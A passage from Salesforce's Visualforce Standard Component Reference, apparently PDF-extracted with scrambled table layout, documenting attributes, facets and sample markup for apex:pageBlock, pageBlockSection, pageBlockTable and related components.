showHeader
Boolean
Description
A Boolean value that specifies whether the Salesforce tab header is included in the page. If true, the tab header is displayed. If not specified, this value defaults to true.
Note: In Lightning Experience and Salesforce1 the value of this attribute is overridden, and is always false.
Required?
API
Version
Access
10.0
global showQuickActionVfHeader
Boolean 34.0
sidebar standardController standardStylesheets tabStyle
Boolean
String
Boolean
String
A Boolean value that specifies whether the header of the quick action that calls this page should display. If true, the action header is displayed. If not specified, this value defaults to true. This attribute isn’t supported in communities.
A Boolean value that specifies whether the standard Salesforce sidebar is included in the page. If true, the sidebar is displayed.
If not specified, this value defaults to true.
Note: In Lightning Experience and Salesforce1 the value of this attribute is overridden, and is always false.
The name of the Salesforce object that is used to control the behavior of this page. This attribute cannot be specified if the controller attribute is also present.
A Boolean value that specifies whether the standard Salesforce stylesheets are added to the generated page header if the showHeader attribute is set to false. If set to true, the standard stylesheets are added to the generated page header. If not specified, this value defaults to true. By setting this to false, components that require Salesforce.com CSS may not display correctly, and their styling may change between releases.
The Salesforce object or custom Visualforce tab that controls the color, styling, and selected tab for this page. If using a custom object, the attribute must be specified with the developer name for the object. For example, to use the styling associated with MyCustomObject, use tabStyle= "MyCustomObject__c"
. If a standard controller is specified, this defaults to the style of the associated controller; if a custom controller is defined, this defaults to the Home tab (if a custom controller).
To use a custom Visualforce tab, set the attribute to the name
(not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use tabStyle= "Source__tab"
.
10.0
10.0
11.0
10.0
global global global global
480
Standard Component Reference apex:pageBlock
Attribute Name Attribute Type
title
String
Description
A string value that specifies the contents of the HTML
<title >
element added to the page by Visualforce. Use it to set the window or tab title for the page.
In pages set to API 30.0 or later, the
<apex:page > title attribute generates an HTML
<title >
element inside the
Visualforce-generated
<head >
element, if there is one.
Visualforce generates an HTML
<head >
element unless other attributes of
<apex:page >
are set in such a way that one won't be generated. For example, if either applyHtmlTag
or applyBodyTag
is false, the value of the title
attribute is ignored. These tags are used to take full control of the HTML generated by the page, and it's assumed that your page contains full and complete HTML markup, including your desired
<title >
element.
In pages set to API 29.0 or lower, if the showHeader attribute of
<apex:page >
is set to false
, no
<title > element is generated.
Note: When you are editing a page in Developer Mode, the page title won't be displayed.
Required?
API
Version
Access
10.0
global wizard
Boolean A Boolean value that specifies whether the page should use the style of a standard Salesforce wizard page. If true, wizard styling is used. If not specified, this value defaults to false.
10.0
global
apex:pageBlock
An area of a page that uses styling similar to the appearance of a Salesforce detail page, but without any default content.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<div >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
481
Standard Component Reference apex:pageBlock
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:inputField value= "{!account.name}" />
<apex:inputField value= "{!account.site}" />
<apex:inputField value= "{!account.type}" />
<apex:inputField value= "{!account.accountNumber}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
dir helpTitle helpUrl id lang mode
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
The text that displays when a user hovers the mouse over the help link for the page block. If specified, you must also provide a value for helpURL. Note that if a value for a header facet is included in the pageBlock, this attribute is ignored.
Required?
API
Version
Access
10.0
global
12.0
global
The URL of a webpage that provides help for the page block.
When this value is specified, a help link appears in the upper right corner of the page block. If specified, you must also provide a value for helpTitle. Note that if a value for a header facet is included in the pageBlock, this attribute is ignored.
12.0
global
10.0
global An identifier that allows the pageBlock component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The default user mode for the pageBlock component's child elements. This value determines whether lines are drawn separating field values. Possible values are:
•
detail
-- data is displayed to the user with colored lines.
•
maindetail
-- data is displayed to the user with colored lines and a white background, just like the main detail page for records.
•
edit
-- data is displayed to the user without field lines.
10.0
10.0
global global
482
Standard Component Reference apex:pageBlock
Attribute Name Attribute Type
onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered tabStyle
String
String
String
String
String
String
String
String
String
String
Boolean
String
Description
•
inlineEdit
-- data is displayed as in detail mode, but child components that support it are enabled for inline editing.
Displayed lines have nothing to do with requiredness, they are merely visual separators, which make it easier to scan a detail page. If not specified, this attribute defaults to detail
.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The Salesforce object or custom Visualforce tab that controls the color scheme of the page block. If not specified, this value defaults to the style of the page. If using a Salesforce object, the attribute must be specified with the developer name for the object. For example, to use the styling associated with
MyCustomObject, use tabStyle="MyCustomObject__c". To use a custom Visualforce tab, set the attribute to the name
(not label) of the tab followed by a double-underscore and
Required?
API
Version
Access
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global global global global
483
Standard Component Reference apex:pageBlockButtons
Attribute Name Attribute Type
title
String
Description
the word tab. For example, to use the styling of a Visualforce tab with the name Source, use tabStyle="Source__tab".
The text displayed as the title of the page block. Note that if a header facet is included in the body of the pageBlock component, its value overrides this attribute.
Required?
API
Version
Access
10.0
global
Facets
Facet Name
footer header
Description API
Version
The components that appear at the bottom of the page block. If specified, the content of this facet overrides any pageBlockButton components in the pageBlock. Note that the order in which a footer facet appears in the body of a pageBlock component does not matter, because any facet with name="footer" will control the appearance of the bottom block.
10.0
The components that appear in the title bar of the page block. If specified, the content of this facet overrides the pageBlock title tab, any pageBlockButton components, and the value of the helpTitle and helpURL attributes in the pageBlock. Note that the order in which a header facet appears in the body of a pageBlock component does not matter, because any facet with name="header" will control the appearance of the title.
10.0
apex:pageBlockButtons
A set of buttons that are styled like standard Salesforce buttons. This component must be a child component of an
<apex:pageBlock >
.
Note that it is not necessary for the buttons themselves to be direct children of the
<apex:pageBlockButtons > component—buttons that are located at any level within an
<apex:pageBlockButtons >
component are styled appropriately.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<td >
tag that contains the buttons. This
<td >
tag can be at the top or bottom, or both, of the
<apex:pageBlock >
, depending on the value of the location
attribute of the
<apex:pageBlockButtons >
component.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
484
Standard Component Reference apex:pageBlockButtons
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:inputField value= "{!account.name}" />
<apex:inputField value= "{!account.site}" />
<apex:inputField value= "{!account.type}" />
<apex:inputField value= "{!account.accountNumber}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
dir id lang location onclick ondblclick onkeydown onkeypress
String
String
String
String
String
String
String
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
An identifier that allows the pageBlockButtons component to be referenced by other components in the page.
Required?
API
Version
Access
11.0
global
11.0
global
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
11.0
global
The area of the page block where the buttons should be rendered. Possible values include "top", "bottom", or "both".
If not specified, this value defaults to "both". Note that if a pageBlock header facet is defined, the facet overrides the buttons that would normally appear at the top of the page block. Likewise if a pageBlock footer facet is defined, the facet overrides the buttons that would normally appear at the bottom of the page block.
11.0
global
11.0
global The JavaScript invoked if the onclick event occurs--that is, if the user clicks anywhere in the pageBlockButtons component
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the pageBlockButtons component twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
11.0
11.0
11.0
global global global
485
Standard Component Reference apex:pageBlockSection
Attribute Name Attribute Type
onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered style styleClass title
String
String
String
String
String
String
Boolean
String
String
String
Description
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required?
API
Version
Access
11.0
global
11.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
11.0
global
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the pageBlockButtons component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the pageBlockButtons component.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
11.0
11.0
11.0
global global global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the pageBlockButtons component, used primarily for adding inline CSS styles.
The style class used to display the pageBlockButtons component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
11.0
11.0
11.0
11.0
global global global global
apex:pageBlockSection
A section of data within an
<apex:pageBlock >
component, similar to a section in a standard Salesforce page layout definition.
An
<apex:pageBlockSection >
component consists of one or more columns, each of which spans two cells: one for a field's label, and one for its value. Each component found in the body of an
<apex:pageBlockSection >
is placed into the next cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the first cell.
To add a field from a Salesforce object to an
<apex:pageBlockSection >
, use an
<apex:inputField >
or
<apex:outputField >
component. Each of these components automatically displays with the field's associated label. To add fields for variables or methods that are not based on Salesforce object fields, or to customize the format of Salesforce object field labels, use an
<apex:pageBlockSectionItem >
component. Each
<apex:inputField >
,
<apex:outputField >
, or
<apex:pageBlockSectionItem >
component spans both cells of a single column.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<div >
tag.
486
Standard Component Reference apex:pageBlockSection
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:inputField value= "{!account.name}" />
<apex:inputField value= "{!account.site}" />
<apex:inputField value= "{!account.type}" />
<apex:inputField value= "{!account.accountNumber}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
collapsible columns
Boolean
Integer
Description
A Boolean value that specifies whether the page block section can be expanded and collapsed by a user. If true, a user can expand and collapse the section. If not specified, this value defaults to true.
The number of columns that can be included in a single row of the page block section. Note that a single column spans two cells - one for a field's label, and one for its value. If you use child inputField, outputField, or pageBlockSectionItem components in the pageBlockSection, each of the child components is displayed in one column, spanning both cells.
If you use any other components in the pageBlockSection, each of the child components is displayed in one column, displaying only in the rightmost cell of the column and leaving the leftmost column cell blank. While you can specify one or more columns for a pageBlockSection, Salesforce stylesheets are optimized for either one or two columns. If not specified, this value defaults to 2.
Required?
API
Version
Access
11.0
global
11.0
global
487
Standard Component Reference apex:pageBlockSection
Attribute Name Attribute Type
dir id lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered showHeader title
String
String
String
String
String
String
String
String
String
String
String
String
String
Boolean
Boolean
String
Description
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the pageBlockSection component to be referenced by other components in the page.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
10.0
global
10.0
global The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block section.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block section twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block section.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block section.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
10.0
10.0
10.0
10.0
10.0
global global global global global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether the page block section title is displayed. If set to true, the header is displayed. If not specified, this value defaults to true.
The text displayed as the title of the page block section.
10.0
11.0
10.0
global global global
488
Standard Component Reference
Facets
Facet Name
body header apex:pageBlockSectionItem
Description API
Version
The components that appear in the body of the page block section. If specified, the content of this facet overrides the body of the pageBlockSection tag. Note that the order in which a body facet appears in the body of a page block section component does not matter, because any facet with name="body" will control the appearance of the section body.
11.0
The components that appear in the title for the page block section. If specified, the content of this facet overrides the value of the title attribute. Note that the order in which a header facet appears in the body of a page block section component does not matter, because any facet with name="header" will control the appearance of the section title.
10.0
apex:pageBlockSectionItem
A single piece of data in an
<apex:pageBlockSection >
that takes up one column in one row. An
<apex:pageBlockSectionItem >
component can include up to two child components. If no content is specified, the column is rendered as an empty space. If one child component is specified, the content spans both cells of the column. If two child components are specified, the content of the first is rendered in the left, "label" cell of the column, while the content of the second is rendered in the right, "data" cell of the column.
Note that if you include an
<apex:outputField >
or an
<apex:inputField >
component in an
<apex:pageBlockSectionItem >
, these components do not display with their label or custom help text as they do when they are children of an
<apex:pageBlockSectionItem >
. Also note that
<apex:pageBlockSectionItem >
components can't be rerendered; rerender the child components instead.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated container
<tr >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
489
Standard Component Reference apex:pageBlockSectionItem
<apex:pageBlockSectionItem >
<apex:outputLabel value= "Account Name" for= "account__name" />
<apex:inputText value= "{!account.name}" id= "account__name" />
</apex:pageBlockSectionItem >
<apex:pageBlockSectionItem >
<apex:outputLabel value= "Account Site" for= "account__site" />
<apex:inputText value= "{!account.site}" id= "account__site" />
</apex:pageBlockSectionItem >
<apex:pageBlockSectionItem >
<apex:outputLabel value= "Account Type" for= "account__type" />
<apex:inputText value= "{!account.type}" id= "account__type" />
</apex:pageBlockSectionItem >
<apex:pageBlockSectionItem >
<apex:outputLabel value= "Account Number" for= "account__number" />
<apex:inputText value= "{!account.accountNumber}" id= "account__number" />
</apex:pageBlockSectionItem >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
dataStyle dataStyleClass dataTitle dir helpText id
String
String
String
String
String
String
Description
The CSS style used to display the content of the right, "data" cell of the pageBlockSection column.
Required?
API
Version
Access
11.0
global
11.0
global The CSS style class used to display the content of the right,
"data" cell of the pageBlockSection column.
The text displayed when you hover over the right, "data" cell of the pageBlockSection column.
11.0
global
The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right).
The help text that is displayed next to this field as a hover-based tooltip, similar to the text that is displayed next to standard Salesforce fields if custom help is defined for the field in Setup. Note that help text only displays if the showHeader attribute of the parent page is set to true.
An identifier that allows the pageBlockSectionItem component to be referenced by other components in the page.
11.0
12.0
11.0
global global global
490
Standard Component Reference apex:pageBlockSectionItem
Attribute Name Attribute Type
labelStyle labelStyleClass labelTitle lang onDataclick onDatadblclick onDatakeydown onDatakeypress onDatakeyup onDatamousedown onDatamousemove onDatamouseout onDatamouseover onDatamouseup onLabelclick
String
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
The CSS style used to display the content of the left, "label" cell of the pageBlockSection column.
The CSS style class used to display the content of the left,
"label" cell of the pageBlockSection column.
The text displayed when you hover over the left, "label" cell of the pageBlockSection column.
Required?
API
Version
Access
11.0
global
11.0
11.0
global global
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onDataclick event occurs--that is, if the user clicks the right, "data" cell of the pageBlockSection column.
The JavaScript invoked if the onDatadblclick event occurs--that is, if the user clicks the right, "data" cell of the pageBlockSection column twice.
The JavaScript invoked if the onDatakeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onDatakeypress event occurs--that is, if the user presses or holds down a keyboard key.
11.0
11.0
11.0
11.0
11.0
global global global global global
The JavaScript invoked if the onDatakeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onDatamousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onDatamousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onDatamouseout event occurs--that is, if the user moves the mouse pointer away from the right, "data" cell of the pageBlockSection column.
The JavaScript invoked if the onDatamouseover event occurs--that is, if the user moves the mouse pointer over the right, "data" cell of the pageBlockSection column.
The JavaScript invoked if the onDatamouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onLabelclick event occurs--that is, if the user clicks the left, "label" cell of the pageBlockSection column.
11.0
11.0
11.0
11.0
11.0
11.0
11.0
global global global global global global global
491
Standard Component Reference apex:pageBlockTable
Attribute Name Attribute Type
onLabeldblclick onLabelkeydown onLabelkeypress onLabelkeyup onLabelmousedown onLabelmousemove onLabelmouseout onLabelmouseover onLabelmouseup rendered
String
String
String
String
String
String
String
String
String
Boolean
Description
The JavaScript invoked if the onLabeldblclick event occurs--that is, if the user clicks the left, "label" cell of the pageBlockSection column twice.
The JavaScript invoked if the onLabelkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onLabelkeypress event occurs--that is, if the user presses or holds down a keyboard key.
Required?
API
Version
Access
11.0
global
11.0
11.0
global global
The JavaScript invoked if the onLabelkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onLabelmousedown event occurs--that is, if the user clicks a mouse button.
11.0
11.0
global global
11.0
global The JavaScript invoked if the onLabelmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onLabelmouseout event occurs--that is, if the user moves the mouse pointer away from the left, "label" cell of the pageBlockSection column.
The JavaScript invoked if the onLabelmouseover event occurs--that is, if the user moves the mouse pointer over the left, "label" cell of the pageBlockSection column.
The JavaScript invoked if the onLabelmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
11.0
11.0
11.0
11.0
global global global global
apex:pageBlockTable
A list of data displayed as a table within either an
<apex:pageBlock >
or
<apex:pageBlockSection >
component, similar to a related list or list view in a standard Salesforce page. Like an
<apex:dataTable >
, an
<apex:pageBlockTable >
is defined by iterating over a set of data, displaying information about one item of data per row. The set of data can contain up to 1,000 items.
The body of the
<apex:pageBlockTable >
contains one or more column components that specify what information should be displayed for each item of data, similar to a table. Unlike the
<apex:dataTable >
component, the default styling for
<apex:pageBlockTable >
matches standard Salesforce styles. Any additional styles specified with
<apex:pageBlockTable > attributes are appended to the standard Salesforce styles.
Note that if you specify an sObject field as the value
attribute for a column, the associated label for that field is used as the column header by default. To override this behavior, use the headerValue
attribute on the column, or the column's header facet.
For Visualforce pages running Salesforce.com API version 20.0 or higher, an
<apex:repeat >
tag can be contained within this component to generate columns.
492
Standard Component Reference apex:pageBlockTable
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated table's
<tbody >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page standardController= "Account" >
<apex:pageBlock title= "My Content" >
<apex:pageBlockTable value= "{!account.Contacts}" var= "item" >
<apex:column value= "{!item.name}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name Attribute Type
align bgcolor border captionClass
String
String
String
String
Description
The position of the rendered HTML table with respect to the page. Possible values include "left", "center", or "right". If left unspecified, this value defaults to "left".
Required?
API
Version
Access
12.0
global
12.0
global This attribute was deprecated in Salesforce API version 18.0
and has no effect on the page.
The width of the frame around the rendered HTML table, in pixels.
The style class used to display the caption for the rendered
HTML table, if a caption facet is specified. This attribute is used
12.0
12.0
global global
493
Standard Component Reference apex:pageBlockTable
Attribute Name Attribute Type
captionStyle cellpadding cellspacing columnClasses columns
String
String columnsWidth
String dir first footerClass
String
String
Integer
String
Integer
String
Description
primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style used to display the caption for the rendered HTML table, if a caption facet is specified. This attribute is used primarily for adding inline CSS styles.
The amount of space between the border of each list cell and its content. If the value of this attribute is a pixel length, all four margins are this distance from the content. If the value of the attribute is a percentage length, the top and bottom margins are equally separated from the content based on a percentage of the available vertical space, and the left and right margins are equally separated from the content based on a percentage of the available horizontal space.
The amount of space between the border of each list cell and the border of the other cells surrounding it and/or the list's edge. This value must be specified in pixels or percentage.
A comma-separated list of one or more classes associated with the list's columns, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specified, the classes are applied in a repeating fashion to all columns. For example, if you specify columnClasses="classA, classB", then the first column is styled with classA, the second column is styled with classB, the third column is styled with classA, the fourth column is styled with classB, and so on.
The number of columns in this page block table.
A comma-separated list of the widths applied to each list column. Values can be expressed as pixels (for example, columnsWidth="100px, 100px").
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
The first element in the iteration visibly rendered in the page block table, where 0 is the index of the first element in the set of data specified by the value attribute. For example, if you did not want to display the first two elements in the set of records specified by the value attribute, set first="2".
The style class used to display the footer (bottom row) for the rendered HTML table, if a footer facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
global global global global global global global global global
494
Standard Component Reference apex:pageBlockTable
Attribute Name Attribute Type
frame headerClass id lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onRowClick
String
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
The borders drawn for this page block table. Possible values include "none", "above", "below", "hsides", "vsides", "lhs", "rhs",
"box", and "border". If not specified, this value defaults to
"border".
Required?
API
Version
Access
12.0
global
12.0
global The style class used to display the header for the rendered
HTML table, if a header facet is specified. This attribute is used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
An identifier that allows the pageBlockTable component to be referenced by other components in the page.
12.0
global
12.0
global The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block table.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block table twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block table.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block table.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onRowClick event occurs--that is, if the user clicks a row in the page block table.
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
12.0
global global global global global global global global global global global
495
Standard Component Reference apex:pageBlockTable
Attribute Name Attribute Type
onRowDblClick onRowMouseDown onRowMouseMove onRowMouseOut onRowMouseOver onRowMouseUp rendered rowClasses rows rules style styleClass
String
String
String
String
String
String
Boolean
String
Integer
String
String
String
Description
The JavaScript invoked if the onRowDblClick event occurs--that is, if the user clicks a row in the page block list table.
The JavaScript invoked if the onRowMouseDown event occurs--that is, if the user clicks a mouse button in a row of the page block table.
The JavaScript invoked if the onRowMouseMove event occurs--that is, if the user moves the mouse pointer over a row of the page block table.
The JavaScript invoked if the onRowMouseOut event occurs--that is, if the user moves the mouse pointer away from a row in the page block table.
The JavaScript invoked if the onRowMouseOver event occurs--that is, if the user moves the mouse pointer over a row in the page block table.
The JavaScript invoked if the onRowMouseUp event occurs--that is, if the user releases the mouse button over a row in the page block table.
Required?
API
Version
Access
12.0
global
12.0
12.0
12.0
12.0
12.0
global global global global global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A comma-separated list of one or more classes associated with the page block table's rows, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. If more than one class is specified, the classes are applied in a repeating fashion to all rows. For example, if you specify columnRows="classA, classB", then the first row is styled with classA, the second row is styled with classB, the third row is styled with classA, the fourth row is styled with classB, and so on.
The number of rows in this page block table.
The borders drawn between cells in the page block table.
Possible values include "none", "groups", "rows", "cols", and
"all". If not specified, this value defaults to "none".
The style used to display the pageBlockTable component, used primarily for adding inline CSS styles.
The style class used to display the pageBlockTable component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
12.0
12.0
12.0
12.0
12.0
12.0
global global global global global global
496
Standard Component Reference apex:pageMessage
Attribute Name Attribute Type
summary title value var width
String
String
Object
String
String
Description
A summary of the page block table's purpose and structure for Section 508 compliance.
Required?
API
Version
Access
12.0
global
12.0
global The text to display as a tooltip when the user's mouse pointer hovers over this component.
The collection of data displayed in the page block table.
Yes
The name of the variable that represents one element in the collection of data specified by the value attribute. You can then use this variable to display the element itself in the body of the pageBlockTable component tag.
Yes
The width of the entire pageBlockTable, expressed either as a relative percentage to the total amount of available horizontal space (for example, width="80%"), or as the number of pixels (for example, width="800px").
12.0
12.0
12.0
global global global
Facets
Facet Name
caption footer header
Description API
Version
The components that appear in the caption for the page block table. Note that the order in which a caption facet appears in the body of a pageBlockTable component does not matter, because any facet with name="caption" will control the appearance of the table's caption.
12.0
The components that appear in the footer row for the page block table. Note that the order in which a footer facet appears in the body of a pageBlockTable component does not matter, because any facet with name="footer" will control the appearance of the final row in the table.
12.0
The components that appear in the header row for the page block table. Note that the order in which a header facet appears in the body of a pageBlockTable component does not matter, because any facet with name="header" will control the appearance of the first row in the table.
12.0
apex:pageMessage
This component should be used for presenting custom messages in the page using the Salesforce pattern for errors, warnings and other types of messages for a given severity. See also the pageMessages component.
497
Standard Component Reference apex:pageMessage
Example
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabStyle= "Opportunity" sidebar= "false" >
<p >Enter an alphabetic character for the "Close Date," then click Save to see what happens.
</p >
<apex:form >
<apex:pageBlock >
<apex:pageMessage summary= "This pageMessage will always display. Validation error messages appear in the pageMessages component.
" severity=" warning " strength=" 3 "
/>
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!opportunities}" var= "opp" >
<apex:column value= "{!opp.name}" />
<apex:column headerValue= "Close Date" >
<apex:inputField value= "{!opp.closeDate}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
detail escape id rendered severity
String
Boolean
String
Boolean
String
Description
The detailed description of the information.
A Boolean value that specifies whether sensitive HTML and
XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a security risk because it allows arbitrary content, including
JavaScript, that could be used in a malicious manner.
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
